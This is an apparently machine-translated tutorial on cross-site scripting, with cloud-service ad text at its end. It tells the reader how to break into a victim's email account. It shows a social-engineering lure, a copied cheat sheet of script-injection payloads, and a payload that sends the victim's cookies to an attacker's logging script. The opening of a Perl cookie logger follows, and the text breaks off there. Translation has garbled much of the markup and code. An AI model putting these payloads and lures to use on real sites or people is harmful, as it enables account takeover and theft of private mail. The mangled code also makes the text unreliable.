With the popularization of network applications, cross-site scripting attacks are often released on some security sites. Here I will sort out some ideas on cross-site scripting (XSS). For more information about the errors, see.
What is XSS )?
The so-called cross-site scripting attack refers to the insertion of malicious code in the html code of the remote web page. The user mistakenly believes that the page is trustworthy. When the user opens the page, the browser automatically downloads malicious code and runs the script. Generally, cross-site scripting is called "XSS". This is a habit of distinguishing it from the style sheet "CSS". So when you hear someone mention a CSS or XSS security vulnerability, it usually refers to cross-site scripting attacks.
What is the difference between XSS and script injection?
Before starting XSS, we need to understand that not all attacks that insert or use scripts in webpages are called XSS. Script Injection is another common scenario. Their differences are as follows:
1. The Script Injection Attack saves the script inserted by the attacker on a remote WEB page, such as SQL injection and XPath injection.
2. Cross-Site Scripting is a temporary attack, which disappears from the page after being executed.
Common web pages that can be inserted with scripts include:
HTML
JavaScript (discussed in this article)
VBScript
ActiveX
Flash
Analysis on XSS vulnerabilities
When many cgi/php scripts are executed, if it finds that the request page submitted by the customer does not exist or there are other types of errors, the error message is sent to the visitor through an html page that displays the error content. For example, Error 404 indicates that the page does not exist.
We usually don't pay attention to this information, but now we have to take a closer look at the causes of CSS vulnerabilities.
Example: www. somesite. tld/cgi-bin/program. cgi? Pageappsdownloads.html
The URL is valid, but if we replace downloads.html with brainrawt_owns _ me.html, a page containing 404 error information will be fed back to the visitor's browser. Here we need to think about how error messages are written into html files?
Note: The following is just an example. The page has an XSS vulnerability. We can insert some Javascript code into the page.
When we submit this URL, a message box "XSS_Vuln_Testing" is displayed in our browser ".
This example is a simple demonstration of the XSS vulnerability, which has no practical significance and is only used to describe the problem.
Next, we will analyze the cause of this running result. If program. cgi does not filter our input effectively, it will be written directly to the 404 error page. The result creates a page, as shown below:
<Html>
<B> 404 </B>-<script> alert ('xss _ Vuln_Testing ') </script> Not Found!
</Html>
The javascript script is interpreted and executed in the browser, and the result is displayed.
Use XSS
As mentioned above, if user-submitted requests cannot be met, the server-side script will write the input information into an html file, when the server program does not effectively filter the data written into the html file, malicious scripts can be inserted into the html page. When other users browse the connection, the script will be interpreted and executed through the client browser.
Instance:
Suppose you find that myemailserver. tld has a css vulnerability and you want to obtain one of them's email accounts. For example, our goal is.
URL www. myemailserver. tld/cgi-bin/news. cgi? Article = 59035
The repair URL is as follows:
Www. myemailserver. tld/cgi-bin/news. cgi? Article = hax0red
This creates an error page and we get the following information: Invalid Input! [Article = hax0red]
When you insert the following javascript code, a message box containing test will pop up on your screen.
Alert ('test ')Www. myemailserver. tld/cgi-bin/news. cgi? Article = <script> alert ('test') </script>
<Script> is not printed to the screen, and is executed in the background. Because the server-side program does not <script> alert ('test ') </script> for effective filtering, the script is sent back to the browser and executed on the page.
Let's take A look at how to use this vulnerability to intrude A's mailbox. First, you must know the e-mail address of A and the role of cookies. Then we can send A malicious connection to A to obtain valuable information from the cookie information of machine. Here we will use some basic social engineering frauds to find A way for A to access the articles published by the myemailserver. tld site, for example, "Dear A, are you looking for beautiful pictures ?"
So when A accesses www. myemailserver. tld/cgi-bin/news. cgi? Article = connection, the local cookie of a will be intercepted by attackers.
Of course, you can also use the login page of the email server to hook other systems to entice users to log on to the malicious system page and finally obtain the identity information of the other party. In short, it requires some social engineering deception and patience.
Insert a javascript script into a web page using the following methods:
<Snip>
Copy from: gobbles security advisory #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
You may derive some glee from playing.
<A href = "javascript # [code]">
<Div onmouseover = "[code]">
[IE]
<Input type = "image" dynsrc = "javascript: [code]"> [IE]
<Bgsound src = "javascript: [code]"> [IE]
& <Script> [code] </script>
& {[Code]}; [N4]
[N4]
<Link rel = "stylesheet" href = "javascript: [code]">
<Iframe src = "vbscript: [code]"> [IE]
[N4]
[N4]
<A href = "about: <script> [code] </script>">
<Meta http-equiv = "refresh" content = "0; url = javascript: [code]">
<Body onload = "[code]">
<Div style = "background-image: url (javascript: [code]);">
<Div style = "behaviour: url ([link to code]);"> [IE]
<Div style = "binding: url ([link to code]);"> [Mozilla]
<Div style = "width: expression ([code]);"> [IE]
<Style type = "text/javascript"> [code] </style> [N4]
<Object classid = "clsid:..." codebase = "javascript: [code]"> [IE]
<Style> <! -- </Style> <script> [code] // --> </script>
<! [CDATA [<! --]> <Script> [code] // --> </script>
<! --> <Script> [code] </script> <! -->
<Script> [code] </script>
<Xml src = "javascript: [code]">
<Xml id = "X"> <a> <B> <script> [code] </script>; </B> </a> </xml>
<Div dataworkflow = "B" dataformatas = "html" datasrc = "# X"> </div>
[XC0] [xBC] script> [code] [xC0] [xBC]/script> [UTF-8; IE, Opera]
---- Copied from gobbles security advisory #33 ----
</Snip>
Obtain the cookie and record the instance:
Note: To make it work, your browser must allow cookiessent by the http://website.tld site, use javascriptto create the cookiesof the Creator, and keep the javascriptscript in the index.html file.
Assuming that the http://website.tld has security risks of XSS attacks, the connection of the vulnerability is:
Http://website.tld/program.cgi? Input = <malicious javascript>
We create a connection:
Document. location = 'HTTP: // yoursite. tld/cgi-bin/evil_cookie_logger.cgi? '+ Document. cookieHttp://website.tld/program.cgi? Input = <script> document. location = 'HTTP: // yoursite. tld/cgi-bin/evil_cookie_logger.cgi? '+ Document. cookie </script>
Then let the user who saves the site cookie Access the connection:
This is our CGI script. Its function is to record user cookies:
--------- Evil_cookie_logger.cgi -----------
#! /Usr/bin/perl
# Evil_cookie_logger.cgi
# Remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing
#&
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
